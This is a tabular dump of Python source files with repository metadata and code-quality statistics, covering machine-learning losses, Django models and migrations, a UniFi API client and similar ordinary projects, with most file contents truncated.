hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2471169abd0e581c3d31b8d4fd46e8edfaa07a5e | 1,166 | py | Python | npc/losses.py | dicarlolab/npc | 0df9a905a39e9d8675638126c94dbb14eb16fc43 | [
"MIT"
] | 13 | 2019-05-05T00:51:48.000Z | 2022-03-24T09:42:03.000Z | npc/losses.py | dicarlolab/npc | 0df9a905a39e9d8675638126c94dbb14eb16fc43 | [
"MIT"
] | 1 | 2021-04-09T02:50:05.000Z | 2021-04-14T01:30:26.000Z | npc/losses.py | dicarlolab/npc | 0df9a905a39e9d8675638126c94dbb14eb16fc43 | [
"MIT"
] | 9 | 2019-05-14T01:57:14.000Z | 2022-03-10T06:10:55.000Z | import tensorflow as tf
from functools import reduce
class Loss(object):
def __init__(self, model, weight=1.):
self._model = model
self._weight = weight
def __call__(self, *args, **kwargs):
raise NotImplementedError
class CustomScore(Loss):
def __init__(self, model, weight, score_func):
super... | 26.5 | 74 | 0.635506 | 159 | 1,166 | 4.27044 | 0.289308 | 0.066274 | 0.048601 | 0.070692 | 0.353461 | 0.223859 | 0.076583 | 0.076583 | 0 | 0 | 0 | 0.012987 | 0.207547 | 1,166 | 43 | 75 | 27.116279 | 0.721861 | 0.012864 | 0 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.21875 | false | 0 | 0.09375 | 0.03125 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
247724009ed8dcad7527a01c1e2e9c2df127141b | 306 | py | Python | source/functions/openyt.py | Angel0329/CampusCyberInspectionTool2021 | 81222fd5b046f48ac810c2ff6eda28937017a0cb | [
"MIT"
] | null | null | null | source/functions/openyt.py | Angel0329/CampusCyberInspectionTool2021 | 81222fd5b046f48ac810c2ff6eda28937017a0cb | [
"MIT"
] | null | null | null | source/functions/openyt.py | Angel0329/CampusCyberInspectionTool2021 | 81222fd5b046f48ac810c2ff6eda28937017a0cb | [
"MIT"
] | null | null | null | import webbrowser
class openyt:
def openyt():
urL='https://www.youtube.com/'
chrome_path="C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"
webbrowser.register('chrome', None,webbrowser.BackgroundBrowser(chrome_path))
webbrowser.get('chrome').open_new(urL) | 43.714286 | 85 | 0.683007 | 35 | 306 | 5.885714 | 0.685714 | 0.097087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 306 | 7 | 86 | 43.714286 | 0.807843 | 0 | 0 | 0 | 0 | 0 | 0.306189 | 0.149837 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
247fdc89a9ac931adf2edf150895b56f44a9004c | 5,275 | py | Python | Pyrado/pyrado/tasks/condition_only.py | KhanhThiVo/SimuRLacra | fdeaf2059c2ed80ea696f018c29290510b5c4cb9 | [
"DOC",
"Zlib",
"BSD-3-Clause"
] | null | null | null | Pyrado/pyrado/tasks/condition_only.py | KhanhThiVo/SimuRLacra | fdeaf2059c2ed80ea696f018c29290510b5c4cb9 | [
"DOC",
"Zlib",
"BSD-3-Clause"
] | null | null | null | Pyrado/pyrado/tasks/condition_only.py | KhanhThiVo/SimuRLacra | fdeaf2059c2ed80ea696f018c29290510b5c4cb9 | [
"DOC",
"Zlib",
"BSD-3-Clause"
] | 1 | 2020-11-24T15:25:26.000Z | 2020-11-24T15:25:26.000Z | # Copyright (c) 2020, Fabio Muratore, Honda Research Institute Europe GmbH, and
# Technical University of Darmstadt.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source ... | 44.327731 | 120 | 0.698389 | 683 | 5,275 | 5.288433 | 0.339678 | 0.056478 | 0.054817 | 0.024363 | 0.364618 | 0.290975 | 0.271041 | 0.215393 | 0.215393 | 0.215393 | 0 | 0.002249 | 0.241327 | 5,275 | 118 | 121 | 44.70339 | 0.9003 | 0.590521 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.190476 | false | 0 | 0.142857 | 0.071429 | 0.52381 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
2481d885924fc9f07acb91c25a2fc67847964e9c | 1,729 | py | Python | SinGAN/tasks/harmonisation.py | cbosoft/SinGAN | c3c950ddf59ae57e4685adc555f5cb4723bd7e78 | [
"MIT"
] | null | null | null | SinGAN/tasks/harmonisation.py | cbosoft/SinGAN | c3c950ddf59ae57e4685adc555f5cb4723bd7e78 | [
"MIT"
] | null | null | null | SinGAN/tasks/harmonisation.py | cbosoft/SinGAN | c3c950ddf59ae57e4685adc555f5cb4723bd7e78 | [
"MIT"
] | null | null | null | from matplotlib import pyplot as plt
from SinGAN.generate import generate_image
from SinGAN.util.imresize import imresize, imresize_to_shape
import SinGAN.util as util
def run_task_harmonisation(cfg):
real = util.read_image(cfg.harmonisation.background_image, cfg)
real = util.adjust_scales_to_image(... | 46.72973 | 121 | 0.6524 | 272 | 1,729 | 3.963235 | 0.246324 | 0.075139 | 0.046382 | 0.051948 | 0.163265 | 0.163265 | 0.120594 | 0 | 0 | 0 | 0 | 0.017021 | 0.1845 | 1,729 | 36 | 122 | 48.027778 | 0.747518 | 0 | 0 | 0 | 1 | 0 | 0.065564 | 0.037803 | 0 | 0 | 0 | 0 | 0.034483 | 1 | 0.034483 | false | 0 | 0.137931 | 0 | 0.172414 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
248c83c66665f2000587ca98061e9ec238ba0834 | 557 | py | Python | 09_sampling_example.py | benmaier/networks2021-hons-softwaredemo | f50112bb785123e4beed7077ef75283d72579a20 | [
"MIT"
] | 1 | 2021-07-02T18:22:08.000Z | 2021-07-02T18:22:08.000Z | 09_sampling_example.py | benmaier/networks2021-hons-softwaredemo | f50112bb785123e4beed7077ef75283d72579a20 | [
"MIT"
] | null | null | null | 09_sampling_example.py | benmaier/networks2021-hons-softwaredemo | f50112bb785123e4beed7077ef75283d72579a20 | [
"MIT"
] | null | null | null | # 09
# Sampling
import tacoma as tc
from demo_utils import pl, disp
from tacoma.analysis import plot_group_size_histogram
from tacoma.interactive import visualize
fw = tc.load_json_taco('./fw_exmpl.json')
groups = tc.measure_group_sizes_and_durations(fw)
fig, ax = pl.subplots(1,1)
plot_group_size_histogram(gr... | 14.657895 | 57 | 0.770197 | 94 | 557 | 4.297872 | 0.425532 | 0.039604 | 0.096535 | 0.163366 | 0.455446 | 0.455446 | 0.455446 | 0.455446 | 0.262376 | 0.262376 | 0 | 0.022449 | 0.120287 | 557 | 37 | 58 | 15.054054 | 0.802041 | 0.021544 | 0 | 0.4 | 0 | 0 | 0.027675 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.266667 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
2494241bdc7553919474896e79e7ca18c9ef877e | 937 | py | Python | src/netwerk.py | voschezang/trash-image-classification | 30ec70264b58a14a54db62081980726b92ce7a0c | [
"MIT"
] | null | null | null | src/netwerk.py | voschezang/trash-image-classification | 30ec70264b58a14a54db62081980726b92ce7a0c | [
"MIT"
] | null | null | null | src/netwerk.py | voschezang/trash-image-classification | 30ec70264b58a14a54db62081980726b92ce7a0c | [
"MIT"
] | null | null | null | import os, sklearn, pandas, numpy as np
from sklearn import svm
import skimage, skimage.io, skimage.filters
import matplotlib.pyplot as plt
## NN libs
import keras
from sklearn.decomposition import PCA
from keras.utils import to_categorical
from keras.layers import Dense, Activation
from keras.optimizers import SGD, A... | 27.558824 | 78 | 0.783351 | 153 | 937 | 4.614379 | 0.418301 | 0.067989 | 0.01983 | 0.033994 | 0.186969 | 0.186969 | 0 | 0 | 0 | 0 | 0 | 0.010976 | 0.124867 | 937 | 33 | 79 | 28.393939 | 0.85 | 0.13127 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.454545 | 0 | 0.454545 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
2499fa54d6df60f94f8b7e1ab23443b7e832ab56 | 1,130 | py | Python | probability/calculations/mixins.py | vahndi/probability | 6ddf88e6f3d947c96b879e426030f60eb5cb2d59 | [
"MIT"
] | 2 | 2020-02-21T00:47:03.000Z | 2020-09-22T19:00:48.000Z | probability/calculations/mixins.py | vahndi/probability | 6ddf88e6f3d947c96b879e426030f60eb5cb2d59 | [
"MIT"
] | 52 | 2020-01-16T16:05:08.000Z | 2022-02-24T15:10:10.000Z | probability/calculations/mixins.py | vahndi/probability | 6ddf88e6f3d947c96b879e426030f60eb5cb2d59 | [
"MIT"
] | null | null | null | from typing import Callable, Any, List, Optional
from probability.calculations.calculation_context import CalculationContext
from probability.custom_types.calculation_types import CalculationValue
class OperatorMixin(object):
get_name: Callable[..., str] # name of the result
operate: Callable # carry out ... | 27.560976 | 75 | 0.684071 | 110 | 1,130 | 6.954545 | 0.436364 | 0.073203 | 0.035294 | 0.031373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.232743 | 1,130 | 40 | 76 | 28.25 | 0.882353 | 0.240708 | 0 | 0.277778 | 0 | 0 | 0.09009 | 0.069498 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.722222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
249cfc49019a19506c94dd9f8fa940fbdaf9c07a | 891 | py | Python | launchlist/migrations/0005_auto_20150412_0612.py | tachk/launchpad | 7018c139e029f87db11e32a2397b186a82950487 | [
"MIT"
] | null | null | null | launchlist/migrations/0005_auto_20150412_0612.py | tachk/launchpad | 7018c139e029f87db11e32a2397b186a82950487 | [
"MIT"
] | null | null | null | launchlist/migrations/0005_auto_20150412_0612.py | tachk/launchpad | 7018c139e029f87db11e32a2397b186a82950487 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('launchlist', '0004_auto_20150412_0553'),
]
operations = [
migrations.AlterField(
model_name='launchvehicle',
... | 29.7 | 108 | 0.616162 | 88 | 891 | 6.011364 | 0.420455 | 0.068053 | 0.141777 | 0.164461 | 0.574669 | 0.574669 | 0.574669 | 0.574669 | 0.574669 | 0.574669 | 0 | 0.025915 | 0.263749 | 891 | 29 | 109 | 30.724138 | 0.780488 | 0.023569 | 0 | 0.521739 | 0 | 0 | 0.093318 | 0.026498 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.086957 | 0 | 0.217391 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
249dafd039f00053e25b630b3f8c23305d01320f | 631 | py | Python | setup.py | ComSys-OVGU/moodle-quiz-md2xml | 50bf6a8539ba6b612e9f2b009b66216792cf9a39 | [
"MIT"
] | null | null | null | setup.py | ComSys-OVGU/moodle-quiz-md2xml | 50bf6a8539ba6b612e9f2b009b66216792cf9a39 | [
"MIT"
] | 1 | 2021-07-26T12:48:45.000Z | 2021-08-11T21:41:17.000Z | setup.py | ComSys-OVGU/moodle-quiz-md2xml | 50bf6a8539ba6b612e9f2b009b66216792cf9a39 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(name='moodle_quiz_md2xml',
version='1.0',
description='Tool and module to convert strictly formatted Markdown files to Moodle\'s XML format which can be '
'imported easily',
url='https://github.com/ComSys-OVGU/moodle-quiz-md2xml',
author='Jon-Mailes Graeffe',
aut... | 33.210526 | 115 | 0.706815 | 88 | 631 | 4.909091 | 0.784091 | 0.092593 | 0.148148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027726 | 0.142631 | 631 | 18 | 116 | 35.055556 | 0.770795 | 0 | 0 | 0 | 0 | 0 | 0.473851 | 0.064976 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.117647 | 0 | 0.117647 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24a12c9246a7809fb4e5931c1a08fbf7fe36c74f | 3,768 | py | Python | app/core/models.py | RyoKusnadi/ValueStarter-WMS | 8a2db281f07dc17aa98ada6c979cb1640869ce0a | [
"MIT"
] | 1 | 2021-04-16T02:42:00.000Z | 2021-04-16T02:42:00.000Z | app/core/models.py | RyoKusnadi/ValueStarter-WMS | 8a2db281f07dc17aa98ada6c979cb1640869ce0a | [
"MIT"
] | null | null | null | app/core/models.py | RyoKusnadi/ValueStarter-WMS | 8a2db281f07dc17aa98ada6c979cb1640869ce0a | [
"MIT"
] | null | null | null | import uuid
import os
from django.db import models
from django.contrib.auth.models import AbstractBaseUser, BaseUserManager
from django.contrib.auth.models import PermissionsMixin
from django.conf import settings
def product_image_file_path(instance, filename):
"""Generate file path for new product image"""
e... | 30.144 | 76 | 0.693471 | 459 | 3,768 | 5.527233 | 0.261438 | 0.049665 | 0.06622 | 0.07568 | 0.540402 | 0.476941 | 0.450926 | 0.341742 | 0.287741 | 0.205755 | 0 | 0.017579 | 0.199841 | 3,768 | 124 | 77 | 30.387097 | 0.823881 | 0.069533 | 0 | 0.390805 | 0 | 0 | 0.027457 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.091954 | false | 0.045977 | 0.068966 | 0.057471 | 0.701149 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
24ac8636f28266900fff5b076701135d53a35a9a | 2,573 | py | Python | uniman/generic_client.py | TrackMan/uniman | 08044d5084fec3962cf3e2dfefdfa8a6534bbed7 | [
"MIT"
] | null | null | null | uniman/generic_client.py | TrackMan/uniman | 08044d5084fec3962cf3e2dfefdfa8a6534bbed7 | [
"MIT"
] | null | null | null | uniman/generic_client.py | TrackMan/uniman | 08044d5084fec3962cf3e2dfefdfa8a6534bbed7 | [
"MIT"
] | null | null | null | from typing import TypeVar
from requests import Session, Request, Response
from statham.schema.constants import NotPassed
from uniman.endpoints import Endpoints
class GenericUniFiClient:
T = TypeVar('T')
session: Session
host: str
port: int
site: str
def __init__(self, host: str, port: int... | 28.588889 | 89 | 0.617956 | 320 | 2,573 | 4.821875 | 0.25 | 0.029164 | 0.046662 | 0.032404 | 0.388853 | 0.378483 | 0.351264 | 0.313675 | 0.313675 | 0.289047 | 0 | 0.001047 | 0.257676 | 2,573 | 89 | 90 | 28.910112 | 0.806806 | 0.01438 | 0 | 0.262295 | 0 | 0 | 0.02723 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.163934 | false | 0.065574 | 0.065574 | 0.032787 | 0.459016 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
24aea42e0ab2a7aca54cc6223f515b2f30e00ae2 | 1,332 | py | Python | node_listener/storage/storage.py | bkosciow/sensor_listener | 0a3980f46c22bdefdb062f511e8d401d603d7926 | [
"MIT"
] | null | null | null | node_listener/storage/storage.py | bkosciow/sensor_listener | 0a3980f46c22bdefdb062f511e8d401d603d7926 | [
"MIT"
] | null | null | null | node_listener/storage/storage.py | bkosciow/sensor_listener | 0a3980f46c22bdefdb062f511e8d401d603d7926 | [
"MIT"
] | null | null | null | from .event import StorageEvent
class Storage(object):
engine = None
def __init__(self):
self.events = {
"set": [],
"get": [],
}
def set_params(self, key, params):
data = self.get(key, {})
for p in params:
data[p] = params[p]
s... | 22.2 | 55 | 0.54955 | 159 | 1,332 | 4.522013 | 0.238994 | 0.069541 | 0.044506 | 0.052851 | 0.119611 | 0.119611 | 0.119611 | 0.119611 | 0.119611 | 0 | 0 | 0 | 0.335586 | 1,332 | 59 | 56 | 22.576271 | 0.812429 | 0 | 0 | 0.139535 | 0 | 0 | 0.027047 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.209302 | false | 0 | 0.023256 | 0.046512 | 0.348837 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24b40d5feb2e56109ae7858680649cd11c0da1d0 | 1,448 | py | Python | django/privat_gos_sait/blog/models.py | Netromnik/python | 630a9df63b1cade9af38de07bb9cd0c3b8694c93 | [
"Apache-2.0"
] | null | null | null | django/privat_gos_sait/blog/models.py | Netromnik/python | 630a9df63b1cade9af38de07bb9cd0c3b8694c93 | [
"Apache-2.0"
] | null | null | null | django/privat_gos_sait/blog/models.py | Netromnik/python | 630a9df63b1cade9af38de07bb9cd0c3b8694c93 | [
"Apache-2.0"
] | null | null | null | from django.db import models
from markdownx.models import MarkdownxField
class categor_post(models.Model):
categor=models.CharField(max_length=200,primary_key=True)
author = models.ForeignKey(
'auth.User',
on_delete=models.CASCADE,
)
date = models.DateTimeField(auto_now_add=True)
cl... | 32.177778 | 111 | 0.684392 | 171 | 1,448 | 5.584795 | 0.432749 | 0.126702 | 0.056545 | 0.075393 | 0.304712 | 0.248168 | 0.203141 | 0.203141 | 0.203141 | 0 | 0 | 0.012111 | 0.201657 | 1,448 | 45 | 112 | 32.177778 | 0.814014 | 0.11395 | 0 | 0.25 | 0 | 0 | 0.148903 | 0.016458 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03125 | false | 0 | 0.0625 | 0.03125 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
24b614ebe77a3375809bde433f4b5758d5bc08a8 | 10,520 | py | Python | vericite_lms_client/models/assignment_data.py | vericite/vericite_api_python | 1ffef5c7900c534c74b681254afe204260e0326c | [
"Apache-2.0"
] | null | null | null | vericite_lms_client/models/assignment_data.py | vericite/vericite_api_python | 1ffef5c7900c534c74b681254afe204260e0326c | [
"Apache-2.0"
] | null | null | null | vericite_lms_client/models/assignment_data.py | vericite/vericite_api_python | 1ffef5c7900c534c74b681254afe204260e0326c | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
VeriCiteLmsApiV1
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "Licens... | 33.826367 | 269 | 0.66616 | 1,130 | 10,520 | 5.904425 | 0.161947 | 0.086631 | 0.095923 | 0.089179 | 0.571493 | 0.501349 | 0.432854 | 0.36256 | 0.246853 | 0.105216 | 0 | 0.00208 | 0.268726 | 10,520 | 310 | 270 | 33.935484 | 0.865202 | 0.391255 | 0 | 0.234234 | 1 | 0 | 0.125577 | 0.079409 | 0 | 0 | 0 | 0 | 0 | 1 | 0.198198 | false | 0 | 0.027027 | 0 | 0.351351 | 0.009009 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24b9e78336a383328be9b3a9022d71cb9c659ae0 | 969 | py | Python | application/filters.py | digital-land/data-playback-prototype | e830242d78325233ba9766a31b68cc525a552704 | [
"MIT"
] | null | null | null | application/filters.py | digital-land/data-playback-prototype | e830242d78325233ba9766a31b68cc525a552704 | [
"MIT"
] | null | null | null | application/filters.py | digital-land/data-playback-prototype | e830242d78325233ba9766a31b68cc525a552704 | [
"MIT"
] | null | null | null | from datetime import datetime
import urllib.parse
def clean_int_filter(s):
# s might be passed in as undefined so need to test for that
if not s or s == "":
s = "0"
if isinstance(s, str):
s = s.replace(",", "")
return int(s)
return s
def to_float_filter(s):
if s == "":
... | 21.065217 | 64 | 0.584107 | 146 | 969 | 3.739726 | 0.356164 | 0.018315 | 0.010989 | 0.018315 | 0.124542 | 0.124542 | 0.124542 | 0.124542 | 0.124542 | 0.124542 | 0 | 0.002833 | 0.271414 | 969 | 45 | 65 | 21.533333 | 0.770538 | 0.059856 | 0 | 0.25 | 0 | 0 | 0.053905 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1875 | false | 0 | 0.0625 | 0.0625 | 0.53125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
24bba78f0e7b6d60599c27bcb514987098948738 | 1,960 | py | Python | lingcod/studyregion/management/commands/create_study_region.py | google-code-export/marinemap | b7d58db11720637845b6a83bf70435c32c5af531 | [
"BSD-3-Clause"
] | 3 | 2017-06-09T20:44:58.000Z | 2017-12-26T12:09:21.000Z | lingcod/studyregion/management/commands/create_study_region.py | underbluewaters/marinemap | c001e16615caa2178c65ca0684e1b6fd56d3f93d | [
"BSD-3-Clause"
] | null | null | null | lingcod/studyregion/management/commands/create_study_region.py | underbluewaters/marinemap | c001e16615caa2178c65ca0684e1b6fd56d3f93d | [
"BSD-3-Clause"
] | 3 | 2016-11-30T13:41:56.000Z | 2019-05-07T17:07:12.000Z | from django.core.management.base import BaseCommand, AppCommand
from optparse import make_option
from django.contrib.gis.utils import LayerMapping
from django.contrib.gis.gdal import DataSource
from lingcod.studyregion.models import StudyRegion
class Command(BaseCommand):
option_list = AppCommand.option_list + (
